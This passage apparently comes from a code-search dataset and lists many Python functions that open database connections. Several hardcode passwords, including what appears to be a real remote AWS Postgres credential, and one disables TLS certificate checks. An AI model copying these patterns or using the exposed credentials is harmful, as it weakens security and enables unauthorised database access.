MongoClient(hosts,replicaSet=replicaset,read_preference=ReadPreference.SECONDARY_PREFERRED)\n conn[db_name].authenticate(db_user,db_pwd,mechanism='SCRAM-SHA-1')\n return conn","def _GetNewConnection(self):\n l_logger.debug(\"Creating a db connection\")\n return mdb.connect(host=self.host,\n user=self.user, \n password=self.passwd, \n database=self.db_name,\n port=self.port\n )","def get_db():\n # when used with a `file` object, `with` ensures it gets closed\n # pylint: disable=no-member\n with file('config.json') as config_file:\n config = json.load(config_file)\n return cx_Oracle.connect(config['user'], config['pass'], config['host'])","def get_db():\n # when used with a `file` object, `with` ensures it gets closed\n # pylint: disable=no-member\n with file('config.json') as config_file:\n config = json.load(config_file)\n return cx_Oracle.connect(config['user'], config['pass'], config['host'])","def obtainDatabaseConnection(self):\n\t\tself.databaseConnector = DatabaseConnector()","def conn(self):\n try:\n if self._db is None:\n self._db = sqlc.connect(user=self.login,\n password=self.passwd,\n host=self.host,\n database=self.database)\n\n except sqlc.Error as e:\n print (\"MySQL exception #{0} getting connection: {1}\".format(e.errno, e.msg))\n if e.errno == 2003:\n exit(-1)\n except Exception as e:\n print (\"Couldn't get connection property: {0}\".format(e.message))\n finally:\n return self._db","def get_connection(self):\n if self.__connection is None:\n from pymongo import MongoClient\n from ir_config import IRConfig\n self.__connection = MongoClient(\n IRConfig.get_instance().get('db_host', self.__default_host), \n IRConfig.get_instance().get_int('db_port', self.__default_port))\n return self.__connection","def _connect(config: dict) -> pw.Database:\n\n try:\n db = db_url.connect(config.get(\"url\", \"sqlite:///:memory:\"))\n except RuntimeError as e:\n raise pw.OperationalError(\"Database connect failed\") from e\n\n # dynamically make the database instance also inherit from\n # `RetryOperationalError`, so that it retries operations in case of\n # transient database failures\n db.__class__ = type(\"RetryableDatabase\", (RetryOperationalError, type(db)), {})\n\n return db","async def _get_db_connection():\n return await gino.Gino(get_database_dsn())","def _connect(self):\n if self.cluster.get('encrypted_password'):\n self.cluster['password'] = aws_etl.utils.decrypt(\n self.cluster['encrypted_password'])\n\n self.connection = connect(\n host=self.cluster['host'],\n port=self.cluster['port'],\n sslmode='require',\n user=self.cluster['user'],\n password=self.cluster['password'],\n database=self.cluster['database'])\n return self.connection","def __KConnectDB(self):\n try:\n conn= kdb.connect(dsn = self.__dsn,\n user = self.user_name.encode(),\n password= self.user_password.encode(),\n charset = self.character_set.encode(),\n dialect = int(self.sql_dialect))\n except:\n self.__result.NoteException(cause=\"Exception raised while connecting to database.\")\n else:\n return conn","def get_connection(cls):\n return cls.database.connection","def get_connection():\n\n return MongoClientManager().client.__getattr__(MONGODB_SETTINGS['db'])","def connect_db():\n db = psycopg2.connect(\n dbname=app.config['DBNAME'],\n user=app.config['DBUSER'],\n password=app.config['DBPASSWORD'],\n host=app.config['DBHOST'],\n port=app.config['DBPORT']\n )\n return db","def get_connection():\n return MongoClient(\"mongodb://username:password@localhost:27017\")","def get_connection(\n host=\"localhost\",\n port=27017,\n username=None,\n password=None,\n uri=None,\n mongodb=None,\n authdb=None,\n timeout=30000, # default according MongoDB documentation\n *args,\n **kwargs,\n):\n authdb = authdb or mongodb\n\n if uri is None:\n if username and password:\n uri = \"mongodb://{}:{}@{}:{}/{}\".format(\n quote_plus(username), quote_plus(password), host, port, authdb\n )\n else:\n uri = \"mongodb://%s:%s\" % (host, port)\n\n client = MongoClient(uri, serverSelectionTimeoutMS=timeout)\n try:\n server_info = client.server_info()\n LOG.info(f\"Connected to MongoDB {server_info.get('version')}\")\n except (ServerSelectionTimeoutError, OperationFailure, ConnectionFailure) as err:\n LOG.warning(f\"Database connection error:{err}\")\n\n return client","def pg_get_conn(database=\"fakenews\", user=\"fakenews\", password=\"fnd\"):\n try:\n conn = psycopg2.connect(database=\"fakenews\",\n user=\"fakenews\", password=\"fnd\", host='localhost', port='5432')\n return conn\n except Exception as e:\n print(str(e))","def connect(self):\n try:\n connect = psycopg2.connect(\"\"\"\n dbname=ovdata_db \n user=larsstegman \n host=localhost \n password=password\n \"\"\")\n return connect\n except Exception as e:\n return ConnectionError()","def _dbconnect(self):\n user = mm_cfg.STORM_MEMBER_DB_USER\n password = mm_cfg.STORM_MEMBER_DB_PASS\n host = mm_cfg.STORM_MEMBER_DB_HOST\n dbname = mm_cfg.STORM_MEMBER_DB_NAME\n\n\n db = 'postgres://'+user+':'+password+'@'+host+'/'+dbname\n return create_database(db)","def _get_db_connection(name='ace'):\n\n if name is None:\n name = 'ace'\n\n #if _cached_db_connections_enabled():\n #return _get_cached_db_connection(name)\n\n config_section = 'ace'\n if name:\n config_section = 'database_{}'.format(name)\n\n if config_section not in saq.CONFIG:\n raise ValueError(\"invalid database {}\".format(name))\n\n _section = saq.CONFIG[config_section]\n kwargs = {\n 'db': _section['database'],\n 'user': _section['username'],\n 'passwd': _section['password'],\n 'charset': 'utf8'\n }\n\n if 'hostname' in _section:\n kwargs['host'] = _section['hostname']\n\n if 'port' in _section:\n kwargs['port'] = _section.getint('port')\n \n if 'unix_socket' in _section:\n kwargs['unix_socket'] = _section['unix_socket']\n\n if 'ssl_ca' in _section or 'ssl_key' in _section or 'ssl_cert' in _section:\n kwargs['ssl'] = {}\n\n if 'ssl_ca' in _section and _section['ssl_ca']:\n path = abs_path(_section['ssl_ca'])\n if not os.path.exists(path):\n logging.error(\"ssl_ca file {} does not exist (specified in {})\".format(path, config_section))\n else:\n kwargs['ssl']['ca'] = path\n\n if 'ssl_key' in _section and _section['ssl_key']:\n path = abs_path(_section['ssl_key'])\n if not os.path.exists(path):\n logging.error(\"ssl_key file {} does not exist (specified in {})\".format(path, config_section))\n else:\n kwargs['ssl']['key'] = path\n\n if 'ssl_cert' in _section and _section['ssl_cert']:\n path = _section['ssl_cert']\n if not os.path.exists(path):\n logging.error(\"ssl_cert file {} does not exist (specified in {})\".format(path, config_section))\n else:\n kwargs['ssl']['cert'] = path\n\n logging.debug(\"opening database connection {}\".format(name))\n return pymysql.connect(**kwargs)\n #return pymysql.connect(host=_section['hostname'] if 'hostname' in _section else None,\n #port=3306 if 'port' not in _section else _section.getint('port'),\n #unix_socket=_section['unix_socket'] if 'unix_socket' in _section else None,\n #db=_section['database'],\n #user=_section['username'],\n #passwd=_section['password'],\n #charset='utf8')","def __get_open_connection(self, connection_hash):\n db = MySQLdb.connect(\n host=connection_hash[\"host\"],\n user=connection_hash[\"user\"],\n passwd=connection_hash[\"password\"],\n db=connection_hash[\"dbname\"]\n )\n return db","def connect(self):\n\t\ttry:\n\t\t\tdb = MySQLdb.connect(self.hostname, self.username, self.password, self.db)\n\t\texcept Exception as err:\n\t\t\traise(err)\n\t\treturn db","def getDatabaseConnection(self):\n \n strConn = \"dbname='\" + self.__dbname + \"' user='\" + self.__user + \"' host='\" + self.__host + \"' port='\" + self.__port + \"' password='\" + self.__password + \"'\"\n return strConn","def return_connection(db_key):\n\n config = load_config()\n\n db = config[db_key][\"database_name\"]\n user = config[db_key][\"database_user\"]\n host = \"localhost\"\n password = config[db_key][\"database_pass\"]\n\n return \"\"\"dbname=%s user=%s password=%s host=%s\"\"\" % (db, user, password,\n host)","def get_connection():\n\t# flask.g documentation: http://flask.pocoo.org/docs/0.12/api/#flask.g\n\ttry:\n\t\tconn = flask.g._database_connection\n\texcept AttributeError:\n\t\tconn = flask.g._database_connection = sqlite3.connect(config.PATH_DATABASE,\n\t\t\t\tdetect_types=sqlite3.PARSE_DECLTYPES) # allows storing datetime, etc.\n\t\tconn.row_factory = sqlite3.Row\n\treturn conn","async def connection():\n return await r.connect(db='main_db')","def get_connection(self):\n import psycopg2 as dbapi\n self.get_input()\n conn = dbapi.connect(host=self.opts[\"host\"],\n port=int(self.opts[\"port\"]),\n user=self.opts[\"user\"],\n password=self.opts[\"password\"],\n database=self.opts[\"database\"])\n encoding = ENCODING.lower()\n if self.script.encoding:\n encoding = self.script.encoding.lower()\n encoding_lookup = {'iso-8859-1': 'Latin1', 'latin-1': 'Latin1', 'utf-8': 'UTF8'}\n db_encoding = encoding_lookup.get(encoding)\n conn.set_client_encoding(db_encoding)\n return conn","def __init__(self, credentials=None, connection=None):\n if credentials is not None:\n self.connection = pymysql_driver.connect(\n user=credentials['user'],\n password=credentials['password'],\n host=credentials['host'],\n database=credentials['database'],\n autocommit=False,\n connect_timeout=2,\n cursorclass=pymysql_driver.cursors.DictCursor\n )\n elif connection is not None:\n self.connection = connection\n else:\n raise ValueError(\"Must provide either the database credentials or connection object\")","def get_conn(args):\n\n if args == 'localhost':\n conn = pymysql.connect(\"localhost\", \"root\", \"\", \"song_identifier\")\n elif args == 'remote':\n conn = pymysql.connect(\n host=MYSQL_HOST,\n port=MYSQL_PORT,\n user=MYSQL_USER,\n password=MYSQL_PASSWORD,\n db=MYSQL_DB\n )\n\n return [conn, conn.cursor()]","def connect_db(host=None, user=None, pwd=None, db_name=None):\n db_c = MySQLdb.connect(host, user, pwd, db_name)\n return db_c","def connect(database_name=\"tournament\"):\n try: \n db = psycopg2.connect(\"dbname={}\".format(database_name))\n cursor = db.cursor()\n return db, cursor\n except:\n print \"Error Connecting to Database\"","def get_connection(self):\n self._logger.info(ME + '.get_connection()')\n #self._logger.debug(str(CONNECTION_VALUES))\n tmp_connection = mysql.connector.connect(\n user =CONNECTION_VALUES['user'],\n password=CONNECTION_VALUES['passwd'],\n database=CONNECTION_VALUES['schema'],\n host =CONNECTION_VALUES['host'],\n port =CONNECTION_VALUES['port']\n )\n tmp_cursor = tmp_connection.cursor()\n\n return tmp_connection, tmp_cursor","def _get_connection(reconnect=False):\n global _connection\n identity = get_identity()\n # Connect to the database if not already connected\n if _connection.get(identity) is None or reconnect:\n try:\n _connection[identity] = Connection(**_connection_settings)\n except Exception, e:\n raise ConnectionError(\"Cannot connect to the database:\\n%s\" % e)\n return _connection[identity]","def get_con(s_name, auth_path=None, db=None):\n con=None\n auth_path = os.path.dirname(os.path.abspath(__file__)) + '/db.csv' if auth_path is None else auth_path\n csv_path=util.format_path(auth_path)\n t_db=pd.read_csv(csv_path)\n #t_db.fillna(None, inplace=True)\n t_db=t_db[t_db['ID']==s_name]\n if len(t_db)==0:\n util.error_msg('Database %s is not defined!' % s_name)\n one=t_db.iloc[0]\n s_db=db or one['DB']\n if one['TYPE']=='MYSQL':\n import MySQLdb as mysql\n #print one['HOST'], one['USR'], one['PWD'], s_db\n if not one['PORT'] or pd.isnull(one['PORT']):\n con=mysql.connect(one['HOST'], one['USR'], one['PWD'], s_db, port=3306, charset='utf8')\n else:\n con=mysql.connect(one['HOST'], one['USR'], one['PWD'], s_db, port=int(one['PORT']), charset='utf8')\n elif one['TYPE']=='POSTGRES':\n import pgdb\n # make sure you do:\n #module load postgresql/9.2.4\n #export LD_LIBRARY_PATH=.:/tools/GNU/postgresql/9.2.4/lib/\n con=pgdb.connect(one['CONNECT'])\n elif one['TYPE']=='ORACLE':\n import cx_Oracle as oracle\n con=oracle.connect(one['CONNECT'])\n else:\n util.error_msg('Unsupported database engine: %s' % one['TYPE'])\n return con","def connect():\n\n try:\n return psycopg2.connect(\n dbname = os.environ['DATABASE_NAME'],\n user = os.environ['DATABASE_USER'],\n password = os.environ['DATABASE_PASSWORD'],\n host = ['DATABASE_HOST'],\n port = ['DATABASE_PORT']\n )\n\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)","def _wh_connect():\n utils = Utility()\n config = utils.CONFIG\n conn = utils.get_plugin(config.PATH_CONNECTION_MANAGERS)\n conn.connect(config.URL_TEST_DB)\n return conn","def connect_to_db(cls):\n conn = psycopg2.connect(os.environ['DATABASE_URL'])\n conn.autocommit = True\n cursor = conn.cursor()\n\n return cursor","def getDB(self):\r\n return MySQLdb.connect(user=\"root\", passwd=\"asdf\", db=\"cloudchatdb\", connect_timeout=30, charset=\"utf8\")","def connect() -> None:\n # attempt to load a database extension\n global _db_ext\n _db_ext = extensions.database_extension()\n if _db_ext is None:\n # The fallback gets implemented via the default_cap\n # dict defined in _capability()\n log.debug(\"Using internal database module.\")\n _db_ext = dict()\n\n # Tell everyone whether we're threadsafe\n global threadsafe\n threadsafe = _capability(\"reentrant\")\n\n # If fetch the database config, if present\n if \"database\" in config.config:\n database_config = config.config[\"database\"]\n else:\n database_config = dict()\n\n # Call the connect function from the database extension (or fallback)\n func = _capability(\"connect\")\n if func is None:\n func = _connect\n db = func(config=database_config)\n\n database_proxy.initialize(db)\n\n if isinstance(db, (pw.MySQLDatabase, pw.PostgresqlDatabase)):\n db.field_types[\"enum\"] = \"enum\"\n EnumField.native = True\n else:\n EnumField.native = False","def connectionDB():\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = CREDENTIAL\n client = bq.Client()\n return client","def connect(self):\n if self.connection is not None:\n logger.info(\" connection: %s \" % (self.connection is not None))\n return self.connection\n try:\n self.connection = DataPostgres.connect(**self.options)\n except Exception as e:\n logger.critical(\"Unable to connect to DB: {0}\".format(e.message))\n raise\n\n return self.connection","def get_database() -> Database:\n db_config = DatabaseConfig(DB_NAME)\n return connect_to_db(db_config)","def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))","def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))","def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))","def db_connect():\n return create_engine(get_project_settings().get(\"CONNECTION_STRING\"))","def sql_connection():\n return sqlite3.connect('database.db')","def _db_credentials(self):\n if self.password == \"\" or self.password == \"RUNTIME\":\n sys.stdout.write(PROMPT + \"Database password: \")\n sys.stdout.flush()\n self.password = getpass.getpass()\n elif self.password == \"ENV\":\n self.password = os.environ[\"sql_password\"]\n db_host = quote(self.hostname)\n db_name = quote(self.database)\n db_user = quote(self.username)\n db_password = quote_plus(self.password)\n if \"@\" in db_password:\n logging.warning(\n \"%sWARNING:%s Using the '@' symbol in your database password can cause login issues with SQL Alchemy.%s\"\n % (WARN + bold + R, W, WARN)\n )\n return db_host, db_name, db_user, db_password","def get_sql_conn():\r\n\r\n # get config information\r\n config = configparser.ConfigParser()\r\n config.sections()\r\n config.read('../config.ini')\r\n dbname = config['PostgresDB']['db_name']\r\n host = config['PostgresDB']['host']\r\n port = config['PostgresDB']['port']\r\n user = config['PostgresDB']['user']\r\n pw = config['PostgresDB']['pw']\r\n\r\n # connect to the database\r\n conn = psycopg2.connect(host=host, port=port, database=dbname,\r\n user=user, password=pw)\r\n return conn"],"string":"[\n \"def connect(db, username=None, password=None, **kwargs):\\n global _connection_settings, _db_name, _db_username, _db_password, _db\\n _connection_settings = dict(_connection_defaults, **kwargs)\\n _db_name = db\\n _db_username = username\\n _db_password = password\\n return _get_db(reconnect=True)\",\n \"def connect_to_db(self):\\n\\t\\t# connection = psycopg2.connect(database=config.database, user=config.user,password = config.password)\\n\\t\\tconnection = psycopg2.connect(database=config.database, user=config.user)\\n\\t\\treturn connection\",\n \"def __connect(self):\\n session, metadata, connection = db(dbhost=getattr(self, \\\"host\\\"),\\n dbuser=getattr(self, \\\"user\\\"),\\n dbpass=getattr(self, \\\"password\\\"),\\n dbname=getattr(self, \\\"dbname\\\"))\\n return session, metadata, connection\",\n \"def get_connection():\\n con = psycopg2.connect(**DB_CONFIG)\\n return con\",\n \"def get_connection(pgpass_path='~/.pgpass', db=DB):\\n host, port, user, password, db = get_credentials(path=pgpass_path, db=db)\\n db_url = f'postgresql://{user}:{password}@{host}:{port}/{db}'\\n conn = sqlalchemy.create_engine(db_url).connect()\\n return conn\",\n \"def connect_mongo_db():\\n host = parsed_mongodb_url['host']\\n port = parsed_mongodb_url['port']\\n database = parsed_mongodb_url['database']\\n username = parsed_mongodb_url['username']\\n password = parsed_mongodb_url['password']\\n\\n connection = Connection(host, port)\\n\\n if username and password:\\n connection[database].authenticate(username, password)\\n\\n return connection\",\n \"def get_db_connection (dbname, username,\\n password=None,\\n host='/var/run/postgresql'):\\n\\n con = psycopg2.connect(\\n database=dbname, user=username, password=password,\\n host='/var/run/postgresql')\\n return (con)\",\n \"def connect(user, password=None):\\n return _WebDBConnection(user, password)\",\n \"def connect(self, credentials):\\n try:\\n #dsn = credentials.host() + ':' + credentials.port()\\n if credentials.port() is not None:\\n self.db = msq.connect(host=credentials.host(), port=credentials.port(),\\n user=credentials.username(),\\n passwd=credentials.password(),\\n db=credentials.database(),\\n charset='utf8',\\n use_unicode=True,\\n cursorclass=MySQLdb.cursors.DictCursor)\\n else:\\n self.db = msq.connect(host=credentials.host(),\\n user=credentials.username(),\\n passwd=credentials.password(),\\n db=credentials.database(),\\n charset='utf8',\\n use_unicode=True,\\n cursorclass=MySQLdb.cursors.DictCursor)\\n\\n self.db.autocommit(True)\\n self.dbc = self.db.cursor()\\n self.status = 'Connected to: %s' % credentials.database()\\n except MySQLdb.Error as e:\\n print \\\"Connection error : %s\\\" % e\\n raise\",\n \"def connection_database(db_name, host, user, password, local, ssl_ca):\\r\\n if local:\\r\\n conn = mysql.connector.connect(\\r\\n host=host,\\r\\n user=user,\\r\\n passwd=password,\\r\\n database=db_name\\r\\n )\\r\\n else:\\r\\n conn = mysql.connector.connect(\\r\\n host=host,\\r\\n user=user,\\r\\n passwd=password,\\r\\n database=db_name,\\r\\n ssl_ca=ssl_ca\\r\\n )\\r\\n\\r\\n cursor = conn.cursor()\\r\\n return conn, cursor\",\n \"def connect_to_db(_config):\\n try:\\n if _config['server']['environment'] == 'production':\\n # in production, must set up replica set\\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'],\\n replicaset=_config['database']['replicaset'],\\n readPreference='primaryPreferred')\\n else:\\n # standalone from my laptop, when there's only one instance of DB\\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'])\\n # grab main database:\\n _db = _client[_config['database']['db']]\\n except Exception as _e:\\n raise ConnectionRefusedError\\n try:\\n # authenticate\\n _db.authenticate(_config['database']['user'], _config['database']['pwd'])\\n except Exception as _e:\\n raise ConnectionRefusedError\\n\\n return _client, _db\",\n \"def getConnection(self):\\n if (not self.initialized):\\n logging.error(\\\"Module is not initialized\\\")\\n \\n conn_options = {\\n 'user': self.user,\\n 'password' : self.password,\\n 'host' : self.host,\\n 'port' : self.port,\\n 'database' : self.dbname,\\n 'raise_on_warnings': True\\n }\\n db = mysql.connector.connect(**conn_options)\\n return db\",\n \"def connect_to_database(database, credentials_file):\\n # Change the scope of client variable to global and calls get_credentials_from_file method\\n global client\\n get_credentials_from_file(credentials_file)\\n\\n # It only try to connect if user and password is not empty or it is just an empty space\\n if (username and password != \\\"\\\") and (len(username) and len(password) > 1):\\n client = MongoClient(\\n f'mongodb+srv://{username}:{password}@cluster0.xmirl.mongodb.net/{database}?retryWrites=true&w=majority',\\n ssl=True, ssl_cert_reqs='CERT_NONE')\\n else:\\n print(\\\"User name and/or password is empty, please check the credentials.pwd file\\\")\\n sys.exit(1)\\n\\n return client\",\n \"def get_coonection(login, password):\\n conn = pymssql.connect(\\n host=\\\"130.193.44.114\\\",\\n user=login,\\n password=password,\\n database='dwh'\\n )\\n \\n return conn\",\n \"def createConnection(self):\\r\\n conn_string = \\\"host='{}' dbname='{}' user='{}' password='{}' port={}\\\".format(\\r\\n self.host, self.database, self.user, self.password, self.port)\\r\\n return psycopg2.connect(conn_string)\",\n \"def create_connection(self):\\r\\n dbname = \\\"dbname = \\\"+\\\"'\\\"+self.dbname+\\\"' \\\"\\r\\n user = \\\"user = \\\"+\\\"'\\\"+self.user+\\\"' \\\"\\r\\n host = \\\"host = \\\"+\\\"'\\\"+self.host+\\\"' \\\"\\r\\n password = \\\"password = \\\"+\\\"'\\\"+self.password+\\\"' \\\"\\r\\n connection_info = dbname + user + host + password\\r\\n try:\\r\\n conn = psycopg2.connect(connection_info)\\r\\n except psycopg2.Error:\\r\\n print(\\\"Unable to connect to DB\\\")\\r\\n return conn\",\n \"def connect_db(self):\\n uri, password = self.get_db_uri()\\n client = MongoClient(uri)\\n client.admin.authenticate('admin', password)\\n return client, client.juju\",\n \"def connectToDatabase():\\n\\n #Connect to Database With Environment Values\\n conn = pymysql.connect(\\n host=os.environ.get(\\\"CHRONICLER_DATABASE_HOST\\\"),\\n user=os.environ.get(\\\"CHRONICLER_DATABASE_USER\\\"),\\n passwd=os.environ.get(\\\"CHRONICLER_DATABASE_PASSWORD\\\"),\\n db=os.environ.get(\\\"CHRONICLER_DATABASE_DB\\\"),\\n\\t\\t\\t\\tcharset=\\\"utf8mb4\\\")\\n\\n #Return the Connection\\n return conn\",\n \"def get_db_conn(db_config):\\n return psycopg2.connect(\\n \\\"dbname='{}' user='{}' host='{}'\\\".format(\\n db_config[\\\"name\\\"],\\n db_config[\\\"user\\\"],\\n db_config[\\\"host\\\"]\\n )\\n )\",\n \"def get_connection(db, user=env.user, host=env.host, password=env.password):\\n return f'mysql+pymysql://{user}:{password}@{host}/{db}'\",\n \"def connect(database, user, password, host):\\n return ODPS(user, password, project=database, endpoint=host)\",\n \"def connect(self):\\n\\n self.logger.debug(\\\"creating DB connection\\\")\\n conn = sql.connect(**self.connection_arguments)\\n self.logger.debug(\\\"DB connection ready: %r\\\", conn.get_host_info())\\n return conn\",\n \"def openConnection():\\n connection = nj.GraphDatabase.driver(\\n uri=URI, auth=nj.basic_auth(USER, PASSWORD))\\n return connection\",\n \"def create_connection():\\r\\n try:\\r\\n conn = sq.connect(DBClass.db_name)\\r\\n except sq.Error as e:\\r\\n raise e\\r\\n \\r\\n return conn\",\n \"def openConn():\\n\\t#abstract the user,passwd,db,host fields in a config file next\\n\\tconnection = sql.connect(user=\\\"root\\\",passwd=\\\"sct\\\",db=\\\"sct\\\")\\n\\tcursor = connection.cursor()\\n\\treturn connection,cursor\",\n \"def __enter__(self) -> cx_Oracle.connect:\\n self.db_connection = cx_Oracle.connect(\\n self.config['oracle']['ora_user'],\\n self.config['oracle']['ora_pass'],\\n f\\\"{self.config['oracle']['ora_host']}/{self.config['oracle']['ora_sid']}\\\")\\n return self.db_connection\",\n \"def connect_database(self, *args, **kwargs):\\n return self._get_storage().connect_database(*args, **kwargs)\",\n \"def get_connection(db_url=None):\\n return engine(db_url).connect()\",\n \"def getconn(self):\\n #hdbport = int('3%s15' % Settings.hdbinstancenum)\\n con = dbapi.connect(address = self.host, \\\\\\n port = self.port, \\\\\\n user = self.username, \\\\\\n password = self.password, \\\\\\n autocommit = True)\\n if self.schema:\\n cur = con.cursor()\\n try:\\n cur.execute('ALTER SESSION SET CURRENT_SCHEMA = %s' % self.schema)\\n return con\\n except dbapi.Error, err:\\n cur.close()\\n con.close()\\n cur = None\\n raise err\\n finally:\\n if cur:\\n cur.close()\\n else:\\n return con\",\n \"def get_db_connection(uri):\\n client = pymongo.MongoClient(uri)\\n return client.cryptongo\",\n \"def get_connection():\\n conn = psycopg2.connect(\\n host=\\\"ec2-174-129-229-162.compute-1.amazonaws.com\\\",\\n database=\\\"d3fkgbedn66ll5\\\",\\n user=\\\"vsimxlvondhgoo\\\",\\n password=\\\"7402a95816c42b475ae285eb18918c56c9a012e96a85aafce983ea1618010511\\\",\\n port=5432\\n )\\n return conn\",\n \"def db_connection(conf_dict):\\n log.debug(conf_dict)\\n client = ArangoClient(hosts=conf_dict['hosts'])\\n db = client.db(conf_dict['database'],\\n username=conf_dict['username'],\\n password=conf_dict['password'])\\n\\n return client, db\",\n \"def OpenConnection(self):\\r\\n # Open connection to database. If the database is not accessible,\\r\\n # throw a mariadb exception.\\r\\n try: \\r\\n Connection = mariadb.connect(\\r\\n user = self.Name,\\r\\n host = self.Host,\\r\\n password= self.Password,\\r\\n port=3306)\\r\\n # Catch mariadb exception.\\r\\n except mariadb.Error as e:\\r\\n print('Unable open connection {}.'.format(e))\\r\\n\\r\\n return Connection\",\n \"def getDbConnection(self, **kwargs):\\r\\n \\r\\n con = sql.connect(self._filename, **kwargs)\\r\\n con.row_factory = sql.Row\\r\\n return con\",\n \"def connect(self):\\n if self.connection is not None:\\n logger.info(\\\" connection: %s \\\" % (self.connection is not None))\\n if not self.connection.opened():\\n logger.info(\\\"connection is closed\\\")\\n return self.reconect()\\n\\n if self.connection.opened():\\n return self.connection\\n try:\\n self.connection = connect(**self.options)\\n except Exception as e:\\n logger.critical(\\\"Unable to connect to DB: {0}\\\".format(e.message))\\n raise\\n\\n return self.connection\",\n \"def get_new_connection(self, conn_params):\\r\\n self.__connection_string = conn_params.get('connection_string', '')\\r\\n conn = Database.connect(**conn_params)\\r\\n return conn\",\n \"def logic_db_connection():\\n try:\\n boto_session = boto3.Session(profile_name='loidsig')\\n except:\\n boto_session = boto3.Session()\\n sm_client = boto_session.client(\\n service_name='secretsmanager',\\n region_name='us-east-1',\\n endpoint_url='https://secretsmanager.us-east-1.amazonaws.com'\\n )\\n get_secret_value_response = sm_client.get_secret_value(SecretId='Loidsig_DB')\\n cred_dict = ast.literal_eval(get_secret_value_response['SecretString'])\\n db_user, db_pass = cred_dict['username'], cred_dict['password']\\n db_host, db_port, db_name = cred_dict['host'], cred_dict['port'], cred_dict['dbname']\\n\\n try:\\n conn = psycopg2.connect(\\n host=db_host,\\n port=db_port,\\n user=db_user,\\n password=db_pass,\\n database=db_name,\\n )\\n except Exception as e:\\n print(\\\"Unable to connect to postgres! Error: {}\\\".format(e))\\n raise\\n return conn\",\n \"def get_connection(**kwargs):\\n try:\\n logging.debug(\\\"Connecting to mapd db...\\\")\\n con = pymapd.connect(\\n user=kwargs[\\\"db_user\\\"],\\n password=kwargs[\\\"db_passwd\\\"],\\n host=kwargs[\\\"db_server\\\"],\\n port=kwargs[\\\"db_port\\\"],\\n dbname=kwargs[\\\"db_name\\\"],\\n )\\n logging.info(\\\"Succesfully connected to mapd db\\\")\\n return con\\n except (pymapd.exceptions.OperationalError, pymapd.exceptions.Error):\\n logging.exception(\\\"Error connecting to database.\\\")\\n return False\",\n \"def connect(self, database=None):\\n try:\\n if database: # if is not Null\\n self._database = database\\n connection = pymysql.connect(self._host, self._username, self._password, self._database)\\n return connection\\n except pymysql.InternalError as error:\\n print(error.args[1])\",\n \"def connect_to_db(self):\\n _config = self.config\\n try:\\n if self.logger is not None:\\n self.logger.debug('Connecting to the database at {:s}:{:d}'.\\n format(_config['database']['host'], _config['database']['port']))\\n _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'])\\n # grab main database:\\n _db = _client[_config['database']['db']]\\n\\n except Exception as _e:\\n if self.logger is not None:\\n self.logger.error(_e)\\n self.logger.error('Failed to connect to the database at {:s}:{:d}'.\\n format(_config['database']['host'], _config['database']['port']))\\n # raise error\\n raise ConnectionRefusedError\\n try:\\n # authenticate\\n _db.authenticate(_config['database']['user'], _config['database']['pwd'])\\n if self.logger is not None:\\n self.logger.debug('Successfully authenticated with the database at {:s}:{:d}'.\\n format(_config['database']['host'], _config['database']['port']))\\n except Exception as _e:\\n if self.logger is not None:\\n self.logger.error(_e)\\n self.logger.error('Authentication failed for the database at {:s}:{:d}'.\\n format(_config['database']['host'], _config['database']['port']))\\n raise ConnectionRefusedError\\n\\n if self.logger is not None:\\n self.logger.debug('Successfully connected to the database at {:s}:{:d}'.\\n format(_config['database']['host'], _config['database']['port']))\\n\\n # (re)define self.db\\n self.db = dict()\\n self.db['client'] = _client\\n self.db['db'] = _db\",\n \"def _access(option=True):\\n return connect(\\n dbname=os.environ[\\\"DB_NAME\\\"],\\n user=os.environ[\\\"DB_USER\\\"],\\n password=os.environ[\\\"DB_PASS\\\"],\\n host=os.environ[\\\"DB_HOST\\\"],\\n port=os.environ[\\\"DB_PORT\\\"]\\n )\",\n \"def _repo_connect():\\n utils = Utility()\\n config = utils.CONFIG\\n conn = utils.get_plugin(config.PATH_CONNECTION_MANAGERS)\\n conn.connect(config.URL_META_DB)\\n return conn\",\n \"def connect(self, host, port, db):\\r\\n params = self.make_connection_params(host, port, db)\\r\\n return self.get_connection(params)\",\n \"def connection(self, database=None):\\n\\n try:\\n return mysql.connector.connect(\\n host=\\\"localhost\\\",\\n user=\\\"root\\\",\\n password=\\\"R+D@11\\\",\\n database=database,\\n auth_plugin=\\\"mysql_native_password\\\",\\n )\\n except mysql.connector.Error as err:\\n messagebox.showerror(\\n \\\"MySQL Connection Error\\\",\\n \\\"Oops! Something went wrong!\\\\n\\\\n%s\\\" % err,\\n )\\n exit()\",\n \"def get_connection():\\n connection = mdb.connect(host='localhost',\\n user='root',\\n passwd='password',\\n database='pur_beurre')\\n return connection\",\n \"def connection_to_db():\\n try:\\n credentials = parse_url_db(URL)\\n connection = psycopg2.connect(**credentials)\\n\\n return connection\\n except psycopg2.OperationalError:\\n raise DatabaseConnectionError('No connection!')\",\n \"def _connect(self):\\n conn = pymongo.MongoClient(self._config.get('mongodb', 'host'), self._config.getint('mongodb', 'port'))\\n db = conn[self._config.get('mongodb', 'db')]\\n return db[self._config.get('mongodb', 'collection')]\",\n \"def get_conn(self) -> Auth.contextmgr:\\n if self.conn.login and self.conn.password:\\n return self._auth_via_password()\\n if \\\"token_name\\\" in self.conn.extra_dejson and \\\"personal_access_token\\\" in self.conn.extra_dejson:\\n return self._auth_via_token()\\n raise NotImplementedError(\\\"No Authentication method found for given Credentials!\\\")\",\n \"def createConnection(user, password, server, port, db):\\n Database.globalUser = user\\n try:\\n Database.connection = psycopg2.connect(user=user,\\n password=password,\\n host=server,\\n port=port,\\n database=db)\\n return Database.connection\\n except (Exception, psycopg2.Error) as error:\\n print(\\\"Error conectando a PostgreSQL\\\", error)\\n return None\",\n \"def __get_connection():\\n # 根据配置文件创建连接池\\n if not Mysql.__mysql_pool:\\n Mysql.__mysql_pool = PooledDB(\\n creator=MySQLdb,\\n use_unicode=False,\\n cursorclass=DictCursor,\\n db=sqlconf.MysqlConfig['db'],\\n host=sqlconf.MysqlConfig['host'],\\n port=sqlconf.MysqlConfig['port'],\\n 